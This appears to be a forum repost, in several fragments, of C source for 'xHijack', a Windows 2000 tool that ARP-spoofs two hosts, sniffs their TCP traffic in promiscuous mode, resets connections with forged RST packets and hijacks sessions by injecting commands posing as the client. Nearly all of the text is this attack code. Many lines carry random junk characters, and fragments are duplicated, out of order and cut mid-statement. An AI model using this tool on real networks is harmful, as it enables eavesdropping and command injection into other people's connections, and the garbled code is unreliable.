$ I+ U* `( m2 ?8 }' }    //fill tcp psd head
8 t& _+ u3 y8 k+ r    psdhdr.saddr = pHiJackPacket->iphdr.sourceIP;           
3 p( s/ u2 A  b. V: L    psdhdr.daddr = pHiJackPacket->iphdr.destIP;           
    psdhdr.mbz = 0;
    psdhdr.ptcl = IPPROTO_TCP;
    psdhdr.tcpl = htons(sizeof(TCPHDR) + strlen(g_szCommand));//tcp head + data len
    //calculate tcp checksum     
    memcpy(szBuff, &psdhdr, sizeof(PSDHDR));   
6 v4 e& @, S: J4 d3 ]    memcpy(szBuff + sizeof(PSDHDR), &pHiJackPacket->tcphdr, sizeof(TCPHDR));
    memcpy(szBuff + sizeof(PSDHDR) + sizeof(TCPHDR), g_szCommand, strlen(g_szCommand));
    pHiJackPacket->tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR) + strlen(g_szCommand));
9 M+ t  \9 t, F/ L; ]4 k    //calculate IP checksum
4 r: g  D) Z* v' P' S% b3 Z    pHiJackPacket->iphdr.checksum = checksum((USHORT *)&pHiJackPacket->iphdr, sizeof(IPHDR));
    //fill send buffer           
    memcpy(szBuff, (char *)pHiJackPacket, sizeof(TCPPACKET));
    memcpy(szBuff + sizeof(TCPPACKET), g_szCommand, strlen(g_szCommand));
+ |% |( @/ _+ b7 k; ^$ o    memset(szBuff + sizeof(TCPPACKET) + strlen(g_szCommand), 0, 4);
, R& B3 @" k/ |* M3 b) @0 g    memset(g_lpSendPacket->Buffer, 0, 1514);
    memcpy(g_lpSendPacket->Buffer, szBuff, sizeof(TCPPACKET) + strlen(g_szCommand));
, j8 W1 }5 B7 q5 w    if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE)
    {
      printf("Error sending the hijack packets!\n");
      __leave;
! h& L; q( f3 g8 B8 f    }
. W0 f% T1 O, k/ X/ @7 R    else printf("Send hijack packet ok!\n");
    bRet = TRUE;
  }

韩冰

if(strstr(szSelectAdapterName, pTmp->AdapterName)) & W+ K; ?- F2 c% N- v& p0 ]2 t8 B* U { 6 g" O" G2 [( t& w" Y6 ?" Y //found it,get own adapter mac address memcpy(g_szOwnMAC, pTmp->Address, 6); //get ip address - }* f: l& \2 J3 e8 d# ` pIPAddr = &pTmp->IpAddressList; 9 U3 P# f# t/ o, H( ]' C) l7 i while(pIPAddr) { g_OwnIP[g_TotalIP++] = inet_addr((char *)&pIPAddr->IpAddress); pIPAddr = pIPAddr->Next; ; Y3 j" Q* y( j' G if(g_TotalIP >= Max_Num_IPAddr) break; / e: `5 g) ]! s" u4 v* ?; f } [* z& w! ~ ?- a* E: ~ break; } 8 m6 i* X1 r" }7 l9 Q0 Z pTmp = pTmp->Next; } 4 N; \6 G2 R- e free(pAdapterInfo); - ]% X9 @3 r( p" B# z5 i //not found,return zero 5 y8 I9 g) U3 |5 W1 r2 E3 u$ ~ if( (!pTmp) || (!g_TotalIP) ) return 0; //---------------------------------------------// - k. z) [1 q' s! L //open adapter lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[iAdapter - 1]); if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE)) { iRetCode = GetLastError(); printf("Unable to open the driver, Error Code : %lx\n", iRetCode); % [- O n4 c) Y8 Z return 0; # z* [) B7 E$ Y# I( C2 a } // set the network adapter in promiscuous mod if(PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_PROMISCUOUS) == FALSE) & _2 A. a) l8 @. l- f2 y0 A# J { printf("Warning: unable to set promiscuous mode!Try set ALL_LOCAL mode!\n"); . E# [+ i- N6 }8 y if(PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_ALL_LOCAL) == FALSE) { printf("Unable to set ALL_LOCAL mode!\n"); 1 X, U0 {9 Z- V+ ?) g% H return 0; } } // set a 512K buffer in the driver if(PacketSetBuff(lpAdapter, 512000) == FALSE) , `3 n T& |; j9 D. H% {1 w: V/ V { printf("Unable to set the kernel buffer!\n"); return 0; } // set a 1 second read timeout if(PacketSetReadTimeout(lpAdapter, 1000) == FALSE) 6 D1 `3 S X; C printf("Warning: unable to set the read tiemout!\n"); % a2 p/ q- v2 `. J. X* E2 ^ if(PacketSetNumWrites(lpAdapter, 1) == FALSE) $ e! [* e3 W1 Z- a& K7 l printf("warning: Unable to send more than one packet in a single write!\n"); ( d: H) w8 M: n8 ?5 i //设置发送的packet g_lpSendPacket = PacketAllocatePacket(); if(g_lpSendPacket == NULL) { 5 V5 u& z2 ~" m5 x' Y- d printf("Error:failed to allocate the LPPACKET structure for send packet.\n"); s3 u* ^8 g+ l1 N. @+ N$ [ return 0; 6 I1 l6 w) ]; ~: q; Y4 C# I, k } - |& ]: `2 L$ z' y9 s, S ZeroMemory(g_szSendPacketBuf, sizeof(g_szSendPacketBuf)); PacketInitPacket(g_lpSendPacket, g_szSendPacketBuf, 1514); return lpAdapter; } # s% P. r( _/ t$ z//功能：帮助信息 void usage() & O- H- g2 M1 M, r+ S* q{ * I; ~. j& S1 l- o printf( "xHijack v1.0 -- multipurpose connection intruder / sniffer for windows 2000\n" 5 [( I2 e: G5 o "By eyas 2002/8/19\n" "http://www.ey4s.org\n" ; F! ?6 T# j! P" v3 ~2 h N5 W "Thanks to Refd0m and shotgun\n\n" ( Q* A+ S& r9 Z; w" p: Z3 F "Usage: xHijack ServerSide ClientSide\n\n"); } 7 M7 \! X# S5 r; o. z+ L( X' l/ N // ' y5 r( H. T; y//功能：显示数据包的一些详细信息 // VOID ShowPacketMoreInfo(PTCPPACKET pTCPPacket, USHORT usDataLen, BOOL bDetail) 0 q, ^+ [2 I1 e3 s/ t) W{ SOCKADDR_IN saDest, saSrc; ; k( t6 z1 @& Q. m8 K unsigned char FlagMask; + ~! d9 \2 g& a+ k- h/ [3 D) V int i; j' L& u( M4 @' Q" z* h1 C( K; t saDest.sin_addr.s_addr = pTCPPacket->iphdr.destIP; saSrc.sin_addr.s_addr = pTCPPacket->iphdr.sourceIP; 0 o4 n0 }" q; S& g3 Q printf("\n%-15s:%-5d -> ", inet_ntoa(saSrc.sin_addr), ntohs(pTCPPacket->tcphdr.th_sport)); printf("%-15s:%-5d DataLen=%d ", inet_ntoa(saDest.sin_addr), L& o# c& y# Q: j9 ? ntohs(pTCPPacket->tcphdr.th_dport), usDataLen); 9 T4 g' v; `) R( k6 a //display TCP flag $ {. ?( I' J+ g" g1 r$ I9 y7 P( U for( i=0, FlagMask=1; i<6; i++, FlagMask <<= 1) { if((pTCPPacket->tcphdr.th_flag) & FlagMask) ) c ^9 b# }; r3 A0 k) b printf("%c", g_szTcpFlag); else printf("-"); + {: z5 A$ S U1 w0 q2 `4 }! d } printf("\n"); + J8 t( a9 K$ J3 Z# u //如有需要，可显示更多详细的信息 O$ n1 I! u( l if(bDetail) ) G! y: K" e2 _2 D printf("SEQ=%.8X ACK=%.8X\n",ntohl(pTCPPacket->tcphdr.th_seq), ntohl(pTCPPacket->tcphdr.th_ack)); } // [) Q# Q9 L S; b' e//功能：处理收到的数据包(只分析本不属于自己的包)，然后根据用户输入，完成各种功能 8 @; K6 {$ a" r& ^0 v// DWORD WINAPI AnalysePacketsThread(LPVOID lp) 4 C& g0 [2 t" E{ 5 r f7 G% j7 B# _" t ULONG ulBytesReceived; USHORT usDataLen; //USHORT usIPHeadLen, usTCPHeadLen; char *buf; u_int off, i; PTCPPACKET pTCPPacket; + \* ~: { n3 S' }' P6 K% s struct bpf_hdr *hdr; LPPACKET lpRecvPacket; char szPacketBuf[256000], *pStr; BOOL bDeleteNode, bAddNew; DWORD ident;//当前所处理的数据包，所属的连接的唯一标识 BOOL bClientToServer;//数据包是否从客户端发送到服务器端 - w" v$ ~) v7 p //设置接收的packet 5 G+ i+ v2 o6 x( l; V lpRecvPacket = PacketAllocatePacket(); ; ^1 m. L- v3 m2 f/ ]2 s! D if(lpRecvPacket == NULL) { 4 o/ ?$ N7 q# k* K printf("Error:failed to allocate the LPPACKET structure for recv.\n"); return 0; } 1 [6 w: r% l: s: q/ y- T ZeroMemory(szPacketBuf, sizeof(szPacketBuf)); PacketInitPacket(lpRecvPacket, szPacketBuf, 256000); ( z2 i: a# R3 Y; P while(1) P( Z; `/ ?3 I# R( m9 U+ q; N( ` { // capture the packets / A% Z5 v' H$ ?) J( b7 ? if(PacketReceivePacket(g_lpAdapter, lpRecvPacket, TRUE) == FALSE) { printf("Error: PacketReceivePacket failed.\n"); - G0 z m. L; K3 a$ J( n break; } ulBytesReceived = lpRecvPacket->ulBytesReceived; 0 M$ `& T- ~- X1 c f8 B6 W buf = lpRecvPacket->Buffer; & o$ B: I, j$ D3 e off = 0; while(off < ulBytesReceived) 8 u6 J9 u# J$ z/ @7 D. ~0 W1 l { hdr = (struct bpf_hdr *)(buf + off); off += hdr->bh_hdrlen; 1 w" c" ?! Z6 k) u3 h6 L' [; L pTCPPacket = (PTCPPACKET)(buf + off); & ~& @+ ~# S5 Z/ `" m off = Packet_WORDALIGN(off + hdr->bh_caplen); 7 @# o9 v$ ~0 D% Y1 O# N //不需要处理自己发出的包(转发或本机发送的) if(memcmp(pTCPPacket->ehhdr.SourceMAC, g_szOwnMAC, 6) == 0) continue; % X3 M Q [2 w/ Q, s2 ` //检查是否IP包 if(pTCPPacket->ehhdr.EthernetType != htons(EPT_IP)) continue; & X% H- p2 g' h. _ j //检查是否TCP包 if(pTCPPacket->iphdr.proto != IPPROTO_TCP) continue; + c/ T* ^* ~9 s //也不处理DestIP是自己的包 ( p1 B+ H! d- A+ e- G6 i8 D for(i=0; i

韩冰

// //功能：列出当前所有连接 ) J# a+ V7 A8 J% F// * ~6 M) Q. R- l0 yvoid ListAllConnection() { PCONNINFO pTmp; ( C1 c4 E/ C4 L1 R SOCKADDR_IN saDest, saSource; pTmp = g_pConnHead; $ O5 m4 x, U8 r8 ^1 C1 |# I while(pTmp) { if(pTmp->bActive) { saSource.sin_addr.s_addr = pTmp->dwServerIP; . [+ S& I3 ^, ^( F- j+ O _8 p7 u saDest.sin_addr.s_addr = pTmp->dwClientIP; ) B) X0 L: j y, T* ?% V printf("(%d) %s:%d <--> ", pTmp->ident, inet_ntoa(saSource.sin_addr), ! k2 ^1 s6 q) A* Y, m* L2 N ntohs(pTmp->uServerPort)); printf("%s:%d\n", inet_ntoa(saDest.sin_addr), ntohs(pTmp->uClientPort)); $ ?) J! U' ~+ N! s } pTmp = pTmp->Next; , X& |8 x" n# R( G } 5 D3 N! L3 B% ^1 K- [5 A7 g} 6 Q2 j5 S# {5 a% k # j( M5 W8 {$ y3 S! L( o$ h8 Q// 6 J: `; A5 v2 r( e//功能：初始化一些数据，取得指定网卡的MAC地址和所有IP地址 ! k! ?; |' O; N// LPADAPTER InitAdapter() { LPADAPTER lpAdapter; static char AdapterList[Max_Num_Adapter][1024]; char szSelectAdapterName[512]; WCHAR AdapterName[2048]; WCHAR *temp,*temp1; ; s0 v! R2 A! V ULONG AdapterLength = 1024; int iAdapterNum = 0; 4 r5 z* I$ t# d4 U. w* z int iRetCode, i; int iAdapter = 0; ULONG ulLen = 0; ; o5 j. C; B: c$ y! N! g DWORD dwRet; PIP_ADAPTER_INFO pAdapterInfo = NULL, pTmp; PIP_ADDR_STRING pIPAddr; * A, A# N. Q7 x //Get The list of Adapter if(PacketGetAdapterNames((char*)AdapterName, &AdapterLength) == FALSE) { printf("Unable to retrieve the list of the adapters!\n"); return 0; } ' c+ R3 k$ j+ U/ T: i- M7 ` temp = temp1 = AdapterName; # q& q/ V3 X% y8 M; Q$ I i = 0; while ((*temp != '\0')||(*(temp-1) != '\0')) { : E! ]4 {, ]6 T' r" D$ h1 w if (*temp == '\0') 4 V3 y, W) n* ~0 m. M1 m" [ { 6 ^; A2 f7 u6 d6 K! X) r2 C' k memcpy(AdapterList,temp1,(temp-temp1)*2); printf("%d - %S\n", i+1, AdapterList); * L6 v7 u1 v" X3 _ temp1=temp+1; i++; } $ d3 A2 h/ {+ `9 m temp++; 7 _1 C9 f7 f/ Z. d9 I9 n4 @6 N } 5 `8 J& G! h5 _) v; B5 q //choose adapter , }; o) T3 s& g. ?6 H0 j6 |( Q4 H while((iAdapter <= 0) || (iAdapter > i)) b, I& R5 S, @( ? _# \( I. q$ | { printf("\nPlease choose your Adapter:"); 0 V- z& E5 K2 L P- r; X" P) T scanf("%1d", &iAdapter); } printf("\n"); //---------------------------------------------// - t7 k, G! _: [0 z- C1 N% p //这里调用iphlpapi来取得本地ip_addr和mac_addr sprintf(szSelectAdapterName, "%S", AdapterList[iAdapter -1], sizeof(szSelectAdapterName)-1); dwRet = GetAdaptersInfo(pAdapterInfo, &ulLen); if(dwRet != ERROR_BUFFER_OVERFLOW) ; R: t- A. E o' x/ F { printf("GetAdapterInfo error:%d\n", GetLastError()); / M1 ]! I! [4 V! h m0 X8 e7 A7 \ return 0; } pAdapterInfo = (PIP_ADAPTER_INFO)malloc(ulLen); if(!pAdapterInfo) & ]) W B2 P* E0 G( k. O3 }( v# i { printf("malloc memory for pAdapterInfo error:%d\n", GetLastError()); return 0; } ! \# a1 u- J; @% X# F dwRet = GetAdaptersInfo(pAdapterInfo, &ulLen); if(dwRet != ERROR_SUCCESS) { printf("GetAdapterInfo error:%d\n", GetLastError()); . }, H9 q( Q1 y' d) @ return 0; + {$ X. I& O. V* H8 Y2 B } - K( _# Y) J" k' L2 Z! @0 E pTmp = pAdapterInfo; while(pTmp) + X1 l2 |7 P! g { 9 y z# ^- {3 N( t //字符匹配

韩冰

void ResetActionAllFlag()
{
" n. @9 f9 l, Q! q  g_dwCtrlConn = 0;
' V; {( C& n! `, x  g_pCurrCtrlConn = NULL;
  g_dwAction = ACTION_NONE;
2 h( e2 w- e$ z/ V& r. r}
" \" K' P, M+ F
//
7 m! x5 [# Q" w$ e6 C5 r//功能：处理Ctrl+C和Ctrl+Break事件
//
4 A) J, c) _- U. ~' \. R( ~BOOL WINAPI CtrlEvent(DWORD dwCtrlType)
2 I5 C+ r- d) ?# |{
  switch(dwCtrlType)
% `# l* b) ?/ L6 n+ K+ z: |  {
: `  H, k- L6 a) b    case CTRL_BREAK_EVENT:
      //reset action all flag
      ResetActionAllFlag();
; S5 h0 C: Y' _3 }( h      break;
  m' {/ h5 x9 H0 n9 }% i    case CTRL_C_EVENT:
      //terminate all thread
7 D% ^8 t. b/ C+ g      TerminateThread(g_hThread[0], 0);
/ B" o1 L/ _8 y2 t: X$ F1 r! Q      TerminateThread(g_hThread[1], 0);
" ~3 D; j9 i2 a: b) B      TerminateThread(g_hThread[2], 0);
      TerminateThread(g_hThread[3], 0);
' L- d* ^4 m/ F2 W* M. Q( f      break;
    default:
      break;
  }
  return TRUE;
) H) A- ~) ~& [( z9 ?) m/ Z}

* x$ _; T3 m1 I( u3 T+ R' l//
//功能：处理用户输入
//
9 }4 S; Q3 h( z$ G8 UDWORD GetConnNum(char *szStr, DWORD dwLen, DWORD *lpCommandPos)
; {% y) p# ~$ F8 o/ J9 W$ o{
$ P1 @* t" {" ]* n) I: m: u  DWORD  i;
0 C4 t. y. d; v: }/ A7 x6 P6 L  char  szBuff[16];
% m5 U% I7 E/ J" y) ?
+ h) V$ V3 }5 N( `$ y3 Z. i  *lpCommandPos = 0;
  for(i=0; i&lt;15, i代码比较乱
//
DWORD WINAPI InterfaceThread(LPVOID lp)
{
. p7 o4 R! {! s# e% _( G0 Y  char  szHelp[] =  "l\t\t&lt;-- List all connections\n"
1 C4 l- T7 p5 U" A' j            "r x\t\t&lt;-- Reset the number x connection\n"
3 U0 B. `' i" x" E4 u3 t. L$ t            "w x\t\t&lt;-- Watch the number x connection\n"
# P* k' ?0 B3 l: M4 G            "h x command\t&lt;-- Hijack the number x connection to execute command\n"
            "[Note]\n"
            "Ctrl+Break to clear all action\n"
7 ~, @! f# D8 e6 |9 ^$ ^2 V            "Ctrl+C to exit\n";
) U2 O  b9 ]# s, c$ W; @4 `$ A  char  szPrompt[] = "\nxHijack&gt;";
  char  szBuffer[128];
  DWORD  dwPos;
8 E+ o; i8 D  U6 h1 z9 \: K! K" ]  PCONNINFO  pTmp;
% u" p7 ^$ w# b9 C
  while(1)
9 v+ ^: }3 y' C: l$ A  {
    gets(szBuffer);//不考虑buffer overflow
% W# J  ~' X! J- k& A; A0 c; L    switch(szBuffer[0])
    {
& A- o: @- y, u- J& R- q9 q: g      case 'l':
- d. q' j3 f: R- J/ ~5 \      case 'L':
! {/ ^- p1 i  ], l/ s, ?        ListAllConnection();
7 _5 f8 c3 D3 j3 K7 k        break;
& o) d& [9 t& r. z      case 'r':
5 n$ B; S+ v* Y+ w1 t      case 'R':
        if(strlen(szBuffer) &gt;2)
3 o0 D7 ~0 h2 Z2 A8 U) W0 F        {
8 Z1 P( V' r7 X9 i! \          g_dwCtrlConn = GetConnNum(&amp;szBuffer[2], strlen(szBuffer) - 2, &amp;dwPos);
5 E) H* B5 {6 ~* y! A          g_dwAction = ACTION_RESET;
( S3 j3 J. o& O# S' A        }
        else printf("%s", szHelp);
        break;
      case 'w':
      case 'W':
        if(strlen(szBuffer) &gt; 2)
, L$ ]$ ?6 q) J/ A; z2 Y        {
          g_dwCtrlConn = GetConnNum(&amp;szBuffer[2], strlen(szBuffer) - 2, &amp;dwPos);
          g_dwAction = ACTION_WATCH;
, `9 G: _6 J0 }$ i  K        }
        else printf("%s", szHelp);
7 \/ r: v7 ]2 ^6 A% t        break;
; E8 [$ _! o& `; _: Q      case 'h':
      case 'H'://h 1 xxx
" R! L  g; m2 F5 N& @        if(strlen(szBuffer) &gt; 5)
# q: J6 s, i3 M0 u' k        {
          g_dwCtrlConn = GetConnNum(&amp;szBuffer[2], strlen(szBuffer) - 2, &amp;dwPos);
4 f) Y" K0 i' {0 W# f# R9 f          //如果command第一个字符是'或"
% y- p4 Y0 U2 s0 T; _+ D- `: z% [          if( (szBuffer[2+dwPos+1] == '\'') || (szBuffer[2+dwPos+1] == '\"') )
          {
            strncpy(g_szCommand, &amp;szBuffer[2+dwPos+1+1], sizeof(g_szCommand) - 3);
            g_szCommand[strlen(g_szCommand) - 1] = 0x0;//去掉最后一个'或"
% k4 ?% T' E" g# ?* Z) L( F4 q8 W! q. m          }
          else strncpy(g_szCommand, &amp;szBuffer[2+dwPos+1], sizeof(g_szCommand) - 3);
          strcat(g_szCommand, "\x0D\x0A");
          g_dwAction = ACTION_HIJACK;
        }
        else printf("%s", szHelp);
        break;
6 [0 o" s* ^  n7 F      default:
        printf("%s", szHelp);
        break;
: `" K+ E7 q( Z" P) G# d$ l0 o% {* t    }//end of switch
    //find the specify ident's struct point
    if( (g_dwCtrlConn) &amp;&amp; (g_dwAction) )
    {
! d, ]* w9 d9 u; j      g_pCurrCtrlConn = NULL;
      pTmp = g_pConnHead;
0 `6 q3 S% F. f1 |( C      while(pTmp)
) `* U& G  j7 S8 N9 _/ `      {
  m$ q' j' o4 n- u- a7 Q        if((pTmp-&gt;ident == g_dwCtrlConn) &amp;&amp; (pTmp-&gt;bActive) )
5 g: i; J; a: x- A        {
          g_pCurrCtrlConn = pTmp;
          break;
        }
; y  }/ ]6 ?' P  l' ?( Z  v7 {        pTmp = pTmp-&gt;Next;
      }
; x' h6 |7 O# f! J      if(!g_pCurrCtrlConn)
0 D; I* I- v: w- a% e+ P      {
8 k( d0 U9 P) j3 ~1 s        printf("Can't find the number %d connection.\n", g_dwCtrlConn);
, x+ [) y$ t) @: |  f; B, Y0 S        //reset action all flag
8 t, w2 x2 X& l' w        ResetActionAllFlag();      
! _% Q) P5 e) `: y8 Z7 C- e      }
. ^; @6 ]" K" {% d6 c    }
/ a& V) p7 j+ S7 ~5 g- ^8 s8 M+ {, ~    if(!g_dwCtrlConn) ResetActionAllFlag();
    //显示当前用户所期望的动作
    printf("\nCurrentAction:");
    switch(g_dwAction)
3 E6 u. e$ ]* ]( c! S5 C* {0 Y    {
      case ACTION_WATCH:
        printf("ACTION_WATCH");
        break;
" Y9 p! n) v6 k+ _) G0 l0 g( X      case ACTION_RESET:
        printf("ACTION_RESET");
        break;
      case ACTION_HIJACK:
7 h0 |' E1 ?7 _9 q* M        printf("ACTION_HIJACK");
        break;
) i$ l) L2 ^1 S3 n7 {      default:
        printf("ACTION_NONE");
) H) {' R+ P8 G! j        break;
7 O- `7 X4 h& `0 P, Z5 o) ^8 R9 t    }
    printf("\tCurrentCtrlConn:%d%s", g_dwCtrlConn, szPrompt);
  }//enf of while
  return 0;
}

韩冰

unsigned int  g_ServerSideIP,
        g_ClientSideIP,
; `0 _$ s1 n3 `7 A: q  {. P        g_OwnIP[Max_Num_IPAddr],//本机IP地址列表
9 H: C/ U6 E; }* V' }' t. Z( M3 w        g_TotalIP = 0;//
' d$ [9 |. B, `unsigned char  g_szOwnMAC[6];//本机MAC地址
unsigned char  g_szClientSideMAC[6];
unsigned char  g_szServerSideMAC[6];
) ?2 P6 ]7 g  o, i6 ~/ X" bchar      g_szTcpFlag[6] = {'F','S','R','P','A','U'};//TCP标志位
! h9 y4 N) R  S- t2 K0 P0 cLPADAPTER    g_lpAdapter;
% h; U1 R" Y3 t4 V& D/ X( m//1 and 2 is arp spoof thread, 3 is recv packets thread, 4 is interface thread
HANDLE      g_hThread[4];
% Y. E/ y) ?8 z0 {: kchar      g_szCommand[128];//command to execute after hijack
DWORD      g_dwAction;//action type
- s$ c" Y3 B+ X; vDWORD      g_dwCtrlConn;//action 所控制连接的标识
# D* P1 j  I# q0 R$ Q: ^DWORD      g_ident;//节点标识，递增
! U) A- x5 T2 W7 {PCONNINFO    g_pCurrCtrlConn = NULL,//action当前所控制的连接的信息结构指针
        g_pConnHead = NULL,
        g_pConnLast = NULL;
3 E8 d; i. ~# |char      g_szSendPacketBuf[1514];
LPPACKET    g_lpSendPacket;
/ {3 g% }1 m0 K; y/ Y: L: ~# ^9 o//函数
void      usage(void);
" @4 E! E  M1 e: fvoid      ShowPacketMoreInfo(PTCPPACKET, USHORT, BOOL);
) _4 m7 e' ]: F) V4 C8 Xvoid      ListAllConnection();//列出当前所有的连接
8 F3 ^$ v* g2 r+ T' i# {7 X0 }void      ResetActionAllFlag();
3 W( J* Y) O, R$ Q7 dUSHORT      checksum(USHORT *, int);
3 h) [- S) a3 h6 q9 j' WBOOL      GetMACAddr(DWORD DestIP, char *pMAC);//取得目标IP的MAC地址
BOOL      IsACKPacket(unsigned char);//判断是不是一个纯ack包
: O8 u; q0 L+ NLPADAPTER    InitAdapter();//初始化一些参数和全局变量
$ L; t' }( d% y' U7 s2 jBOOL      SendRstPacket(unsigned int, unsigned int);//伪装成server给cilent发送rst包
BOOL      SendHiJackPacket(PTCPPACKET);//伪装成client给server发送我们的包
DWORD      GetConnNum(char *, DWORD, DWORD *);
DWORD      CtrlConnInfoLink(DWORD, USHORT, DWORD, USHORT, BOOL, BOOL);
DWORD  WINAPI  ArpSpoofThread(LPVOID);//进行arp欺骗的函数
2 b1 m& A& t+ T2 A4 o- G; wDWORD  WINAPI  AnalysePacketsThread(LPVOID);//分析处理接收到的包
DWORD  WINAPI  InterfaceThread(LPVOID);//
BOOL  WINAPI  CtrlEvent(DWORD);
& c+ K/ j- _% Y/ L% f0 v3 D/ `

: c. H- }" h/ @+ q+ Q& f. a
int main(int argc, char **argv)
" T. E7 K9 j3 r: t2 z{
* o/ `! R% r9 k  struct    bpf_stat stat;
  int      i;
" s, a" [+ C! R8 F; H" T
4 s$ k8 s- j' C, S) b  usage();
  _! |2 r# e# b; Z' Y  if (argc != 3) return 0;
  //取得参数
  g_ServerSideIP = inet_addr(argv[1]);
  g_ClientSideIP = inet_addr(argv[2]);
  //初始化adapter &amp; 一些全局变量
  g_lpAdapter = InitAdapter();
4 V3 ?- t. e0 V% _4 X7 m, A  if(!g_lpAdapter) return 0;
  //get ServerSide MAC &amp; ClientSide MAC
  if(!GetMACAddr(g_ServerSideIP, g_szServerSideMAC)) return 0;
+ w7 [7 m- T$ Z. n# i  if(!GetMACAddr(g_ClientSideIP, g_szClientSideMAC)) return 0;
# r7 M3 i! {+ G5 |. \7 v* n  //create arp spoof thread     
0 R% }# `/ I2 ^; w1 V$ c# r  i = 1;
4 w7 f, ]! B# P* Y% B! x. u  g_hThread[0] = CreateThread(NULL, 0, ArpSpoofThread, &amp;i, 0, 0);
! j* @  G( U9 R/ M  ^2 m; \1 l  Sleep(500);
1 G7 v4 F7 Q9 H- l- D- Z1 D: H  i = 2;
! g7 D8 X1 l% r  ~  Y$ g0 W( V  g_hThread[1] = CreateThread(NULL, 0, ArpSpoofThread, &amp;i, 0, 0);
: B9 H# M2 C  t7 l% D  //create analyse packet thread
  g_hThread[2] = CreateThread(0, 0, AnalysePacketsThread, NULL, 0, 0);
7 T8 Z/ h$ M. q9 A1 F  //create interface thread
  g_hThread[3] = CreateThread(0, 0, InterfaceThread, NULL, 0, 0);
, r) D5 U" X7 m# q$ r' Y4 @  //set console ctrl handle
  if(!SetConsoleCtrlHandler(CtrlEvent, TRUE))
  {
; r! }) I; q4 }    printf("SetConsoleCtrlHandler error:%d\n", GetLastError());
7 o3 J9 N5 D$ k# n6 o    return 0;
  }
  //wait for any thread exit
  WaitForMultipleObjects(4, g_hThread, FALSE, INFINITE);
5 S: J& }/ [# i; U0 n5 F$ Y. Z  //print the capture statistics
8 f1 {% V, V5 G+ W  if(PacketGetStats(g_lpAdapter, &amp;stat) == FALSE)
  I$ w* a" Q1 a  J4 N9 l    printf("Warning: unable to get stats from the kernel!\n");
  else
    printf("\n\n%d packets received.\n%d Packets lost\n",stat.bs_recv,stat.bs_drop);
  //free resource   
0 [& \  K1 t& H% E$ d1 g  PacketFreePacket(g_lpSendPacket);
  PacketCloseAdapter(g_lpAdapter);
  return 0;
}
* H5 r- _2 ?; @) n) R+ I+ e
: y  G: ?5 d8 E8 B! A8 u) \4 e) h7 y//
//功能：重置所有于ACTION有关的标志
4 {( R+ n8 ~. u//

韩冰

unsigned int  g_ServerSideIP,
        g_ClientSideIP,
( E! [4 ^5 V( p. V' l" y) X  T4 D        g_OwnIP[Max_Num_IPAddr],//本机IP地址列表
        g_TotalIP = 0;//
unsigned char  g_szOwnMAC[6];//本机MAC地址
" S* F& m- e1 [! X0 yunsigned char  g_szClientSideMAC[6];
( P, s3 p- R! {, V4 h4 s  d& yunsigned char  g_szServerSideMAC[6];
char      g_szTcpFlag[6] = {'F','S','R','P','A','U'};//TCP标志位
% n, U* d; r% kLPADAPTER    g_lpAdapter;
//1 and 2 is arp spoof thread, 3 is recv packets thread, 4 is interface thread
$ a& W2 E) s. c( I9 yHANDLE      g_hThread[4];
char      g_szCommand[128];//command to execute after hijack
DWORD      g_dwAction;//action type
( L( \; `+ G' R) @0 G/ S% ODWORD      g_dwCtrlConn;//action 所控制连接的标识
DWORD      g_ident;//节点标识，递增
* D3 n7 {- c* \" [$ |( VPCONNINFO    g_pCurrCtrlConn = NULL,//action当前所控制的连接的信息结构指针
4 C, J& t& g- Q        g_pConnHead = NULL,
! F% o+ ]4 E7 H7 {6 ^        g_pConnLast = NULL;
char      g_szSendPacketBuf[1514];
LPPACKET    g_lpSendPacket;
//函数
# i9 ^6 z8 e9 Q( G+ R$ Jvoid      usage(void);
void      ShowPacketMoreInfo(PTCPPACKET, USHORT, BOOL);
void      ListAllConnection();//列出当前所有的连接
void      ResetActionAllFlag();
5 q  A% J8 Z, {USHORT      checksum(USHORT *, int);
! n- A7 S( F( T! c" e6 ZBOOL      GetMACAddr(DWORD DestIP, char *pMAC);//取得目标IP的MAC地址
BOOL      IsACKPacket(unsigned char);//判断是不是一个纯ack包
LPADAPTER    InitAdapter();//初始化一些参数和全局变量
BOOL      SendRstPacket(unsigned int, unsigned int);//伪装成server给cilent发送rst包
BOOL      SendHiJackPacket(PTCPPACKET);//伪装成client给server发送我们的包
- ]# R* q6 f$ S9 H/ KDWORD      GetConnNum(char *, DWORD, DWORD *);
DWORD      CtrlConnInfoLink(DWORD, USHORT, DWORD, USHORT, BOOL, BOOL);
DWORD  WINAPI  ArpSpoofThread(LPVOID);//进行arp欺骗的函数
DWORD  WINAPI  AnalysePacketsThread(LPVOID);//分析处理接收到的包
- f" ]7 Y# l: F$ xDWORD  WINAPI  InterfaceThread(LPVOID);//
BOOL  WINAPI  CtrlEvent(DWORD);
6 d' j5 W3 Q: L* s! c
& f3 J* b; x6 v. V) e  M
9 ~9 d5 T& R2 R
int main(int argc, char **argv)
0 {! H4 v7 u5 r& V) D5 L{
  struct    bpf_stat stat;
1 e' [7 n3 i( m/ }; G  int      i;
+ s  t- Y; y# L; x( Y
% T" b; I1 e. X3 m/ Z( {8 k  usage();
  if (argc != 3) return 0;
  //取得参数
* J0 i5 @2 u, [: _. ]- J7 ]0 Z  g_ServerSideIP = inet_addr(argv[1]);
# N" e+ [5 O4 C/ W' e  g_ClientSideIP = inet_addr(argv[2]);
) c( R  H+ |4 q  //初始化adapter &amp; 一些全局变量
& F5 a) c5 q& e4 D6 v8 V  g_lpAdapter = InitAdapter();
- N  t) s! ~, ?1 G7 n- P# x  if(!g_lpAdapter) return 0;
  //get ServerSide MAC &amp; ClientSide MAC
6 r4 I7 e0 F, v8 T# b  if(!GetMACAddr(g_ServerSideIP, g_szServerSideMAC)) return 0;
+ M8 Y/ H( P) _5 X9 S  if(!GetMACAddr(g_ClientSideIP, g_szClientSideMAC)) return 0;
# b( U/ l2 Z$ _8 b+ _  //create arp spoof thread     
  i = 1;
# C  s- I' r+ [$ g  g_hThread[0] = CreateThread(NULL, 0, ArpSpoofThread, &amp;i, 0, 0);
0 i5 Y( w: L6 Q  n  Sleep(500);
9 H# V; r. q' }4 \8 T( H  i = 2;
